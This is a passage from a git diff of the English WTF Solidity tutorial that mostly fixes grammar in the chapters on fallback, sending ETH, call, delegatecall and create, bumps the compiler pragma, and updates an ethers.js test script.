`gas` or cause the transaction to get reverted. So that will make some refund or transfer functions fail, pay attention to such risks when writing such operations. ## Fallback Function: fallback() The `fallback()` function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. It can be used to receive Ether or in `proxy contract`. `fallback()` is declared without the `function` keyword, and must have `external` visibility, it often has `payable` state mutability, which is used to receive Ether: `fallback() external payable { ... }`. @@ -76,7 +76,7 @@ Has receive()? fallback() / \ receive() fallback() ``` -To put it simply, when a contract receives `ETH`, `receive()` will be executed if `msg.data` is empty and `receive()` function presents; on the other hand, `fallback()` will be executed if `msg.data` is not empty or there is no `receive()` declared, in such case `fallback()` must be `payable`. +To put it simply, when a contract receives `ETH`, `receive()` will be executed if `msg.data` is empty and the `receive()` function is present; on the other hand, `fallback()` will be executed if `msg.data` is not empty or there is no `receive()` declared, in such case `fallback()` must be `payable`. If neither `receive()` or `payable fallback()` is declared in the contract, receiving `ETH` will fail. @@ -86,13 +86,13 @@ If neither `receive()` or `payable fallback()` is declared in the contract, rece 2. Put the value (in Wei) you want to send to the contract in "VALUE", then click "Transact". ![](img/19-1.jpg) -3. The transaction succeeded, and "receivedCalled" event emitted. +3. The transaction succeeded, and the "receivedCalled" event emitted. ![](img/19-2.jpg) -4. Put the value you want to send to the contract in "VALUE", and put any valid `msg.data` in "CALLDATA", click "Transact". +4. Put the value you want to send to the contract in "VALUE", and put any valid `msg.data` in "CALLDATA", and click "Transact". ![](img/19-3.jpg) -5. The transaction succeeded, and "fallbackCalled" event emitted. "fallbackCalled". +5. The transaction succeeded, and the "fallbackCalled" event emitted. "fallbackCalled". ![](img/19-4.jpg) diff --git a/Languages/en/20_SendETH_en/SendETH.sol b/Languages/en/20_SendETH_en/SendETH.sol index 8c6faffc1..c1d9dab24 100644 --- a/Languages/en/20_SendETH_en/SendETH.sol +++ b/Languages/en/20_SendETH_en/SendETH.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 3 ways to send ETH // transfer: 2300 gas, revert @@ -10,7 +10,7 @@ error SendFailed(); // error when sending with Send error CallFailed(); // error when seding with Call contract SendETH { - // Constructor, make it payable so we can transfer ETH at depolyment + // Constructor, make it payable so we can transfer ETH at deployment constructor() payable{} // receive function, called when receiving ETH receive() external payable{} diff --git a/Languages/en/20_SendETH_en/readme.md b/Languages/en/20_SendETH_en/readme.md index 24076cc33..113190cd0 100644 --- a/Languages/en/20_SendETH_en/readme.md +++ b/Languages/en/20_SendETH_en/readme.md @@ -21,7 +21,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit There are three ways of sending `ETH` in `Solidity`: `transfer()`, `send()` and `call()`, in which `call()` is recommended. ## Contract of Receiving ETH -Let's deploy a contract `ReceiveETH` to receive `ETH`. `ReceiveETH` has an event `Log`, which logs the received `ETH` amount and the remaining `gas`. Along with two other functions, one is the `receive()` function, which is executed when receiving `ETH`, and emit the `Log` event; the other is the `getBalance()` function that is used to get the balance of the contract. +Let's deploy a contract `ReceiveETH` to receive `ETH`. `ReceiveETH` has an event `Log`, which logs the received `ETH` amount and the remaining `gas`. Along with two other functions, one is the `receive()` function, which is executed when receiving `ETH`, and emits the `Log` event; the other is the `getBalance()` function that is used to get the balance of the contract. ```solidity contract ReceiveETH { // Receiving ETH event, log the amount and gas @@ -39,7 +39,7 @@ contract ReceiveETH { } ``` -After deploying `ReceiveETH`, call `getBalance()` function, we can see the balance is `0 Ether`. +After deploying `ReceiveETH`, call the `getBalance()` function, we can see the balance is `0 Ether`. ![20-1](./img/20-1.png) @@ -55,10 +55,10 @@ contract SendETH { ``` ### transfer - Usage: `receiverAddress.transfer(value in Wei)`. -- The `gas` limit of `transfer()` is `2300`, which is enough to make transfer, but not if the receiving contract has a gas consuming `fallback()` or `receive()`. +- The `gas` limit of `transfer()` is `2300`, which is enough to make the transfer, but not if the receiving contract has a gas-consuming `fallback()` or `receive()`. - If `transfer()` fails, the transaction will `revert`. -Sample code: note that `_to` is the address of `ReceiveETH` contract, and `amount` is the value you want to send. +Sample code: note that `_to` is the address of the `ReceiveETH` contract, and `amount` is the value you want to send. ```solidity // sending ETH with transfer() function transferETH(address payable _to, uint256 amount) external payable{ @@ -66,7 +66,7 @@ function transferETH(address payable _to, uint256 amount) external payable{ } ``` -After deploying `SendETH` contract, we can send `ETH` to `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, transaction failed and get `reverted`. +After deploying the `SendETH` contract, we can send `ETH` to the `ReceiveETH` contract. If `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails and gets `reverted`. ![20-2](./img/20-2.png) @@ -74,14 +74,14 @@ If `amount` is 10, and `value` is 10, `amount`<=`value`, then the transaction wi ![20-3](./img/20-3.png) -In `ReceiveETH` contract, when we call `getBalance()`, we can see the balance of the contract is `10` Wei. +In the `ReceiveETH` contract, when we call `getBalance()`, we can see the balance of the contract is `10` Wei. ![20-4](./img/20-4.png) ### send - Usage: `receiverAddress.send(value in Wei)`. -- The `gas` limit of `send()` is `2300`, which is enough to make transfer, but not if the receiving contract has a gas consuming `fallback()` or `receive()`. +- The `gas` limit of `send()` is `2300`, which is enough to make the transfer, but not if the receiving contract has a gas-consuming `fallback()` or `receive()`. - If `send()` fails, the transaction will be `reverted`. - The return value of `send()` is `bool`, which is the status of the transaction, you can choose to act on that. @@ -97,11 +97,11 @@ function sendETH(address payable _to, uint256 amount) external payable{ } ``` -Now we send `ETH` to `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, so the transaction failed, since we handled the return value, transaction will be `reverted`. +Now we send `ETH` to the `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails, since we handled the return value, the transaction will be `reverted`. ![20-5](./img/20-5.png) -If `amount` is 10, and `value` is 11, `amount`<=`value`, so the transaction succeeded. +If `amount` is 10, and `value` is 11, `amount`<=`value`, the transaction is successful. ![20-6](./img/20-6.png) @@ -110,7 +110,7 @@ If `amount` is 10, and `value` is 11, `amount`<=`value`, so the transaction succ - Usage: `receiverAddress.call{value: value in Wei}("")`. - There is no `gas` limit for `call()`, so it supports more operations in `fallback()` or `receive()` of the receiving contract. - If `call()` fails, the transaction will not be `reverted`. -- The return value of `call()` is `(bool, data)`, in which `bool` is the status of transaction, you can choose to act on that. +- The return value of `call()` is `(bool, data)`, in which `bool` is the status of the transaction, you can choose to act on that. Sample Code: ```solidity @@ -124,22 +124,22 @@ function callETH(address payable _to, uint256 amount) external payable{ } ``` -Now we send `ETH` to `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, so the transaction failed, since we handled the return value, transaction will be `reverted`. +Now we send `ETH` to the `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails, since we handled the return value, the transaction will be `reverted`. ![20-7](./img/20-7.png) -If `amount` is 10, and `value` is 11, `amount`<=`value`, so the transaction succeeded. +If `amount` is 10, and `value` is 11, `amount`<=`value`, the transaction is successful. ![20-8](./img/20-8.png) -With any of these three methods, we send `ETH` to `ReceiveETH` contract successfully. +With any of these three methods, we send `ETH` to the `ReceiveETH` contract successfully. ## Summary In this tutorial, we talked about three ways of sending `ETH` in `solidity`: `transfer`, `send` and `call`. - There is no `gas` limit for `call`, which is the most flexible and recommended way; - The `gas` limit of `transfer` is `2300 gas`, transaction will be `reverted` if it fails, which makes it the second choice; -- The `gas` limit of `send` is `2300`, transaction will not be `reverted` if it fails, which makes it the worst choice. +- The `gas` limit of `send` is `2300`, the transaction will not be `reverted` if it fails, which makes it the worst choice. diff --git a/Languages/en/21_CallContract_en/CallContract.sol b/Languages/en/21_CallContract_en/CallContract.sol index f37d0a665..b81cb5f2d 100644 --- a/Languages/en/21_CallContract_en/CallContract.sol +++ b/Languages/en/21_CallContract_en/CallContract.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OtherContract { uint256 private _x = 0; // state variable x diff --git a/Languages/en/21_CallContract_en/readme.md b/Languages/en/21_CallContract_en/readme.md index b80349cf5..ff587adf5 100644 --- a/Languages/en/21_CallContract_en/readme.md +++ b/Languages/en/21_CallContract_en/readme.md @@ -21,10 +21,10 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ## Interact with deployed contract -Interactions between contracts not only make the programs re-usable on the blockchain, also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contract to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contract that source code (or ABI) and address are available. +Interactions between contracts not only make the programs reusable on the blockchain, but also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contracts to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contracts whose source code (or ABI) and address are available. ## Target Contract -Lets write a simple contract `OtherContract` to work with. +Let's write a simple contract `OtherContract` to work with. ```solidity contract OtherContract { @@ -70,7 +70,7 @@ Here are four examples of interacting with contracts, compile and deploy these t ![deploy contract2 in remix](./img/21-3.png) ### 1. Pass the contract address -We can pass the contract address as parameter and create a reference of `OtherContract`, then call the function of `OtherContract`. For example, here we create a `callSetX` function which will call `setX` from `OtherContract`, pass the deployed contract address `_Address` and the `x` value as parameter: +We can pass the contract address as a parameter and create a reference of `OtherContract`, then call the function of `OtherContract`. For example, here we create a `callSetX` function which will call `setX` from `OtherContract`, pass the deployed contract address `_Address` and the `x` value as parameter: ```solidity function callSetX(address _Address, uint256 x) external{ @@ -78,16 +78,16 @@ We can pass the contract address as parameter and create a reference of `OtherCo } ``` -Copy the address of `OtherContract`, and pass it as the first parameter of `callSetX`, after the transaction succeeded, we can call `getX` from `OtherContract` and the value of `x` is 123. +Copy the address of `OtherContract`, and pass it as the first parameter of `callSetX`, after the transaction succeeds, we can call `getX` from `OtherContract` and the value of `x` is 123. ![call contract1 in remix](./img/21-4.png) ![call contract2 in remix](./img/21-5.png) ### 2. Pass the contract variable -We can also pass the reference of the contract as parameter, just change the type from `address` to the contract name, i.e. `OtherContract`. The following example shows how to call `getX()` from `OtherContract`. +We can also pass the reference of the contract as a parameter, we just change the type from `address` to the contract name, i.e. `OtherContract`. The following example shows how to call `getX()` from `OtherContract`. -**Note:** The parameter `OtherContract _Address` is still `address` type behind the scene. You will find it's `address` type in the generated `ABI` and when passing the parameter to `callGetX`. +**Note:** The parameter `OtherContract _Address` is still `address` type behind the scene. You will find its `address` type in the generated `ABI` and when passing the parameter to `callGetX`. ```solidity function callGetX(OtherContract _Address) external view returns(uint x){ @@ -95,12 +95,12 @@ We can also pass the reference of the contract as parameter, just change the typ } ``` -Copy the address of `OtherContract`, and pass it as the parameter of `callGetX`, after the transaction succeeded, we can get the value of `x`. +Copy the address of `OtherContract`, and pass it as the parameter of `callGetX`, after the transaction succeeds, we can get the value of `x`. ![call contract3 in remix](./img/21-6.png) ### 3. Create contract variable -We can create a contract variable and call its functions. The following example shows how to create a reference of `OtherContract` and save to `oc`: +We can create a contract variable and call its functions. The following example shows how to create a reference of `OtherContract` and save it to `oc`: ```solidity function callGetX2(address _Address) external view returns(uint x){ @@ -108,11 +108,11 @@ We can create a contract variable and call its functions. The following example x = oc.getX(); } ``` -Copy the address of `OtherContract`, and pass it as the parameter of `callGetX2 `, after the transaction succeeded, we can get the value of `x`. +Copy the address of `OtherContract`, and pass it as the parameter of `callGetX2 `, after the transaction succeeds, we can get the value of `x`. ![call contract4 in remix](./img/21-7.png) -### 4. Interact with contract and send `ETH` +### 4. Interact with the contract and send `ETH` If the target function is `payable`, then we can also send `ETH` to that contract: `_Name(_Address).f{value: _Value}()`, `_Name`is the contract name, `_Address` is the contract address, `f` is the function to call, and `_Value` is the value of `ETH` to send (in `wei`). `OtherContract` has a `payable` function `setX`, in the following example we will send `ETH` to the contract by calling `setX`. @@ -122,7 +122,7 @@ If the target function is `payable`, then we can also send `ETH` to that contrac } ``` -Copy the address of `OtherContract`, and pass it as the parameter of `setXTransferETH `, in addition we send 10ETH. +Copy the address of `OtherContract`, and pass it as the parameter of `setXTransferETH `, in addition, we send 10ETH. ![call contract5 in remix](./img/21-8.png) @@ -131,4 +131,4 @@ After the transaction is confirmed, we can check the balance of the contract by ![call contract6 in remix](./img/21-9.png) ## Summary -In this tutorial, we talked about how to create contract reference with its source code (or ABI) and address, then call its functions. +In this tutorial, we talked about how to create a contract reference with its source code (or ABI) and address, then call its functions. diff --git a/Languages/en/22_Call_en/Call.sol b/Languages/en/22_Call_en/Call.sol index 01dd61bc7..73c3bcebb 100644 --- a/Languages/en/22_Call_en/Call.sol +++ b/Languages/en/22_Call_en/Call.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OtherContract { uint256 private _x = 0; // state variable x diff --git a/Languages/en/22_Call_en/readme.md b/Languages/en/22_Call_en/readme.md index 4e0b4cbf3..90d7e5b80 100644 --- a/Languages/en/22_Call_en/readme.md +++ b/Languages/en/22_Call_en/readme.md @@ -23,11 +23,11 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit Previously in [20: Sending ETH](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/20_SendETH_en) we talked about sending `ETH` with `call`, in this tutorial we will dive into that. ## Call -`call` is one of the `address` low-level functions which is used to interact with other contract. It returns the success condition and the returned data: `(bool, data)`. +`call` is one of the `address` low-level functions which is used to interact with other contracts. It returns the success condition and the returned data: `(bool, data)`. - Officially recommended by `solidity`, `call` is used to send `ETH` by triggering `fallback` or `receive` functions. -- `call` is not recommended for interacting with other contract, because you give away the control when calling a malicious contract. The recommended way is to create a contract reference and call its functions. See [21: Interact with other Contract](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/21_CallContract_en) -- If the source code or `ABI` is not available, we cannot create contract variable; However we can still interact with other contract using `call` function. +- `call` is not recommended for interacting with other contracts, because you give away the control when calling a malicious contract. The recommended way is to create a contract reference and call its functions. See [21: Interact with other Contract](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/21_CallContract_en) +- If the source code or `ABI` is not available, we cannot create a contract variable; However, we can still interact with other contracts using `call` function. ### Rules of using `call` Rules of using `call`: @@ -49,7 +49,7 @@ contractAdress.call{value:ETH value, gas:gas limit}(binary code); It looks a bit complicated, lets see how to use `call` in examples. ### Target contract -Lets write and deploy a simple target contract `OtherContract`, the code is mostly same as chapter 19, only with an extra `fallback` function。 +Let's write and deploy a simple target contract `OtherContract`, the code is mostly the same as chapter 19, only with an extra `fallback` function。 ```solidity contract OtherContract { @@ -81,14 +81,14 @@ contract OtherContract { ``` This contract includes a state variable `x`, a `Log` event for receiving `ETH`, and three functions: -- `getBalance()`: get the balance of contract -- `setX()`: `external payable` function, can be used to set the value of `x` and receiving `ETH`. +- `getBalance()`: get the balance of the contract +- `setX()`: `external payable` function, can be used to set the value of `x` and receive `ETH`. - `getX()`: get the value of `x`. ### Contract interaction using `call` **1. Response Event** -Lets write a `Call` contract to interact with the target functions in `OtherContract`. First we declare the `Response` event, which takes `success` and `data` returned from `call` as parameters. So we can check the return values. +Let's write a `Call` contract to interact with the target functions in `OtherContract`. First, we declare the `Response` event, which takes `success` and `data` returned from `call` as parameters. So we can check the return values. ```solidity @@ -98,7 +98,7 @@ event Response(bool success, bytes data); **2. Call setX function** -Now we declare the `callSetX` function to call the target function `setX()` in `OtherContract`. Meanwhile we send `msg.value` of `ETH`, then emit the `Response` event, with `success` and `data` as parameter: +Now we declare the `callSetX` function to call the target function `setX()` in `OtherContract`. Meanwhile, we send `msg.value` of `ETH`, then emit the `Response` event, with `success` and `data` as parameters: ```solidity function callSetX(address payable _addr, uint256 x) public payable { @@ -111,14 +111,14 @@ function callSetX(address payable _addr, uint256 x) public payable { } ``` -Now we call `callSetX` to change state variable `_x` to 5, pass the `OtherContract` address and `5` as parameters, since `setX()` does not have return value, so `data` is `0x` (i.e. Null) in `Response` event. +Now we call `callSetX` to change state variable `_x` to 5, pass the `OtherContract` address and `5` as parameters, since `setX()` does not have a return value, so `data` is `0x` (i.e. Null) in `Response` event. ![22-1](./img/22-1.png) **3. Call getX function** -Next we call `getX()` function, it will return the value of `_x` in `OtherContract`, the type is `uint256`. We can decode the return value from `call` function, and get its value. +Next, we call `getX()` function, and it will return the value of `_x` in `OtherContract`, the type is `uint256`. We can decode the return value from `call` function, and get its value. ```solidity @@ -157,5 +157,5 @@ In this example, we try to call `foo` which is not declared with `call`, the tra ## Summary -In this tutorial, we talked about how to interact with other contract using low-level function `call`. For security reasons, `call` is not recommended method, but it's useful when we don't know the source code and `ABI` of the target contract. +In this tutorial, we talked about how to interact with other contracts using the low-level function `call`. For security reasons, `call` is not a recommended method, but it's useful when we don't know the source code and `ABI` of the target contract. diff --git a/Languages/en/23_Delegatecall_en/Delegatecall.sol b/Languages/en/23_Delegatecall_en/Delegatecall.sol index f9e86b5b7..a92e14b6f 100644 --- a/Languages/en/23_Delegatecall_en/Delegatecall.sol +++ b/Languages/en/23_Delegatecall_en/Delegatecall.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // delegatecall is similar to call, is a low level function // call: B call C, the execution context is C (msg.sender = B, the state variables of C are affected) diff --git a/Languages/en/23_Delegatecall_en/readme.md b/Languages/en/23_Delegatecall_en/readme.md index 35112bbd4..d7be7d896 100644 --- a/Languages/en/23_Delegatecall_en/readme.md +++ b/Languages/en/23_Delegatecall_en/readme.md @@ -20,9 +20,9 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- ## `delegatecall` -`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` meas entrust/represent, so what does `delegatecall`entrust? +`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` means entrust/represent, so what does `delegatecall` entrust? -When user `A` `call` contract `C` via contract `B`, the executed functions are from contract `C`, the `execution context` (the environment including state and variable) is in contract `C`: `msg.sender` is contract `B`'s address, and if state variables are changed due to function call, the affected state variables are in contract `C`. +When user `A` `call` contract `C` via contract `B`, the executed functions are from contract `C`, and the `execution context` (the environment including state and variable) is in contract `C`: `msg.sender` is contract `B`'s address, and if state variables are changed due to function call, the affected state variables are in contract `C`. ![execution context of call](./img/23-1.png) @@ -30,9 +30,9 @@ And when user `A` `delegatecall` contract `C` via contract `B`, the executed fun ![execution context of delegatecall](./img/23-2.png) -You can understand it like this: a `rich businessman` entrusts his asset (`state variables`) to a `VC` (functions of target contract) for management. The executed functions are from the `VC`, but the state variables get changed is from the `businessman`. +You can understand it like this: a `rich businessman` entrusts his asset (`state variables`) to a `VC` (functions of target contract) for management. The executed functions are from the `VC`, but the state variables get changed from the `businessman`. -The syntax of `delegatecall` is simimar to `call`: +The syntax of `delegatecall` is similar to `call`: ``` targetContractAddress.delegatecall(binary code); @@ -45,21 +45,21 @@ abi.encodeWithSignature("function signature", parameters separated by comma) ``` `function signature` is `"functionName(parameters separated by comma)"`. For example, `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 -Unlike `call`, `delegatecall` can specify the value of `gas` when calling smart contract, but the value of `ETH` can't be specified. +Unlike `call`, `delegatecall` can specify the value of `gas` when calling a smart contract, but the value of `ETH` can't be specified. -> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target cotnract is same, and target contract is safe, otherwise could cause loss of funds. +> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target contract is same, and target contract is safe, otherwise could cause loss of funds. ## `delegatecall` use cases? -Currently there are 2 major use cases for delegatecall: +Currently, there are 2 major use cases for delegatecall: 1. `Proxy Contract`: separating the storage part and logic part of smart contract: `proxy contract` is used to store all related variables, and also store the address of logic contract; all functions are stored in the `logic contract`, and called via delegatecall. When upgrading, you only need to redirect `proxy contract` to a new `logic contract`. -2. EIP-2535 Diamonds: Diamond is a standard that supports building modular smart contract systems that can scale in production. Diamond is a proxy contract with multiple implementation contracts. For more information, check: [Introduction to EIP-2535 Diamonds](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard). +2. EIP-2535 Diamonds: Diamond is a standard that supports building modular smart contract systems that can scale in production. Diamond is a proxy contract with multiple implementation contracts. For more information, check [Introduction to EIP-2535 Diamonds](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard). ## `delegatecall` example Call mechanism: you (`A`) call contract `C` via contract `B`. ### Target Contract C -First we create a target contract `C` with 2 `public` variables: `num` and `sender` which are `uint256` and `address` respectively; and a function which sets `num` based on `_num`, and set `sender` as `msg.sender`. +First, we create a target contract `C` with 2 `public` variables: `num` and `sender` which are `uint256` and `address` respectively; and a function which sets `num` based on `_num`, and set `sender` as `msg.sender`. ```solidity // Target contract C @@ -73,8 +73,8 @@ contract C { } } ``` -### Call Initizalization Contract B -First, contract `B` must have the same state variable layout as target contract `C`, 2 variabels and the order is `num` and `sender`. +### Call Initialization Contract B +First, contract `B` must have the same state variable layout as target contract `C`, 2 variables and the order is `num` and `sender`. ```solidity contract B { @@ -84,7 +84,7 @@ contract B { Next, we use `call` and `delegatecall` respectively to call `setVars` from contract `C`, so we can understand the difference better. -Function `callSetVars` calls `setVars` via `call`. callSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`. +The function `callSetVars` calls `setVars` via `call`. callSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`. ```solidity // Calling setVars() of contract C with call, the state variables of contract C will be changed @@ -110,7 +110,7 @@ While function `delegatecallSetVars` calls `setVars` via `delegatecall`. Similar ``` ### Verify on Remix -1. First we deploy contract B and contract C +1. First we deploy Contract B and contract C ![deploy.png](./img/23-3.png) @@ -132,10 +132,10 @@ While function `delegatecallSetVars` calls `setVars` via `delegatecall`. Similar ![delegatecall.png](./img/23-7.png) -6. Because of `delegatecall`, the execution context is contract `B`. Afte execution, the state variables of contract `B` are changed: `num` is changed to 100, `sender` is changed to your wallet's address. The state variables of contract `C` are unchanged. +6. Because of `delegatecall`, the execution context is contract `B`. After execution, the state variables of contract `B` are changed: `num` is changed to 100, `sender` is changed to your wallet's address. The state variables of contract `C` are unchanged. ![resultdelegatecall.png](./img/23-8.png) ## Summary -In this lecture we introduce another low level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference of `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall is `proxy contract` and `EIP-2535 Diamons`. +In this lecture, we introduce another low-level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference between `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall are `proxy contract` and `EIP-2535 Diamonds`. diff --git a/Languages/en/24_Create_en/Create.sol b/Languages/en/24_Create_en/Create.sol index 6c030a112..7aca8b372 100644 --- a/Languages/en/24_Create_en/Create.sol +++ b/Languages/en/24_Create_en/Create.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Pair{ address public factory; // factory contract address diff --git a/Languages/en/24_Create_en/readme.md b/Languages/en/24_Create_en/readme.md index afb8c0ffa..d183eb8c4 100644 --- a/Languages/en/24_Create_en/readme.md +++ b/Languages/en/24_Create_en/readme.md @@ -7,7 +7,7 @@ tags: - create contract --- -# WTF Solidity Tutorial: 24. Creating a new smart contract in an existed smart contract +# WTF Solidity Tutorial: 24. Creating a new smart contract in an existing smart contract Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. @@ -18,10 +18,10 @@ Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.goog Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ----- -On Ethereum, user (Externally-owned account, `EOA`) can create smart contracts, a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplied version of `Uniswap`. +On Ethereum, the user (Externally-owned account, `EOA`) can create smart contracts, and a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplified version of `Uniswap`. ## `create` and `create2` -There are two ways to create a new contract in an existed contract, `create` and `create2`, this lecture will introduce `create`, next lecture will introduce `create2`. +There are two ways to create a new contract in an existing contract, `create` and `create2`, this lecture will introduce `create`, next lecture will introduce `create2`. The usage of `create` is very simple, creating a contract with `new` keyword, and passing the arguments required by the constructor of the new smart contract: @@ -29,15 +29,15 @@ The usage of `create` is very simple, creating a contract with `new` keyword, an Contract x = new Contract{value: _value}(params) ``` -`Contract` is the name of the smart contract to be created, `x` is the smart contract object (address), if the constructor is `payable`, the creator can transfer `_value` `ETH` to the new smart contract, `params` are the parameters of the constructor of the new smart cotnract. +`Contract` is the name of the smart contract to be created, `x` is the smart contract object (address), and if the constructor is `payable`, the creator can transfer `_value` `ETH` to the new smart contract, `params` are the parameters of the constructor of the new smart contract. ## Simplified Uniswap The core smart contracts of `Uniswap V2` include 2 smart contracts: -1. UniswapV2Pair: Pair contract, used to manage token addresses, liquidity, swap. +1. UniswapV2Pair: Pair contract, used to manage token addresses, liquidity, and swap. 2. UniswapV2Factory: Factory contract, used to create new Pair contracts, and manage Pair address. -Below we will implement a simplified `Uniswap` with `create`: `Pair` contract is used to manage token addresses, `PairFactory` contract is used to create new Pair contract, and manage Pair addresses. +Below we will implement a simplified `Uniswap` with `create`: `Pair` contract is used to manage token addresses, `PairFactory` contract is used to create new Pair contracts and manage Pair addresses. ### `Pair` contract @@ -61,11 +61,11 @@ contract Pair{ ``` `Pair` contract is very simple, including 3 state variables: `factory`, `token0` and `token1`. -The `constructor` assigns Factory contract's address to `factory` at the time of delpoyment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair. +The `constructor` assigns the Factory contract's address to `factory` at the time of deployment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair. > **Ask**: Why doesn't `Uniswap` set the addresses of `token0` and `token1` in the `constructor`? > -> **Answer**: Because `Uniswap` uses `create2` creating new smart contracts, parameters is not allowed in the constructor when using create2. When using `create`, it is allowed to have parameters in `Pair` contract, and you can set the addresses of `token0` and `token1` in the `constructor`. +> **Answer**: Because `Uniswap` uses `create2` to create new smart contracts, parameters are not allowed in the constructor when using create2. When using `create`, it is allowed to have parameters in `Pair` contract, and you can set the addresses of `token0` and `token1` in the `constructor`. ### `PairFactory` ```solidity @@ -86,9 +86,9 @@ contract PairFactory{ } } ``` -Factory contract (`PairFactory`) has 2 state variables, `getPair` is a map of 2 token address and Pair contract address, and is used to find `Pair` contract address based on 2 token addresses. `allPairs` is an array of Pair contract addresses, which is used to store all Pair contract addresses. +Factory contract (`PairFactory`) has 2 state variables, `getPair` is a map of 2 token addresses and Pair contract address, and is used to find `Pair` contract address based on 2 token addresses. `allPairs` is an array of Pair contract addresses, which is used to store all Pair contract addresses. -There's only one function in `PairFactory`, `createPair`, which creates a new `Pair` contract based on 2 token addresses `tokenA` and tokenB.`` +There's only one function in `PairFactory`, `createPair`, which creates a new `Pair` contract based on 2 token addresses `tokenA` and `tokenB.` ```solidity Pair pair = new Pair(); @@ -116,5 +116,5 @@ PEOPLE address on BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c ![](./img/24-3.png) ## Summary -In this lecture, we introduce how to create a new smart contract in an existed smart contract with `create` method by using a simplified version of `Uniswap`, in next lecture we will introduce how to implement a simplified `Uniswap` with `create2`. +In this lecture, we introduce how to create a new smart contract in an existing smart contract with `create` method by using a simplified version of `Uniswap`, in the next lecture we will introduce how to implement a simplified `Uniswap` with `create2`. diff --git a/Languages/en/25_Create2_en/create2.sol b/Languages/en/25_Create2_en/create2.sol index c37d9cc92..1a0fc613e 100644 --- a/Languages/en/25_Create2_en/create2.sol +++ b/Languages/en/25_Create2_en/create2.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Pair{ address public factory; // factory contract address diff --git a/Languages/en/25_Create2_en/create2test.js b/Languages/en/25_Create2_en/create2test.js index 2a833faf5..d06179a7c 100644 --- a/Languages/en/25_Create2_en/create2test.js +++ b/Languages/en/25_Create2_en/create2test.js @@ -6,15 +6,15 @@ describe("create2 test", function () { console.log("1.==> deploy pair"); const PairFactory = await ethers.getContractFactory("Pair"); const Pair = await PairFactory.deploy(); - await Pair.deployed(); - console.log("pair address =>",Pair.address); + await Pair.waitForDeployment(); + console.log("pair address =>",Pair.target); console.log(); console.log("2.==> deploy PairFactory2"); const PairFactory2Factory = await ethers.getContractFactory("PairFactory2"); const PairFactory2 = await PairFactory2Factory.deploy(); - await PairFactory2.deployed(); - console.log("PairFactory2 address =>",PairFactory2.address); + await PairFactory2.waitForDeployment(); + console.log("PairFactory2 address =>",PairFactory2.target); console.log("3.==> calculateAddr for wbnb people"); const WBNBAddress = "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"; diff --git a/Languages/en/25_Create2_en/readme.md b/Languages/en/25_Create2_en/readme.md index 6054a086d..13a7b6934 100644 --- a/Languages/en/25_Create2_en/readme.md +++ b/Languages/en/25_Create2_en/readme.md @@ -20,40 +20,40 @@ Codes and tutorials are open source on GitHub: 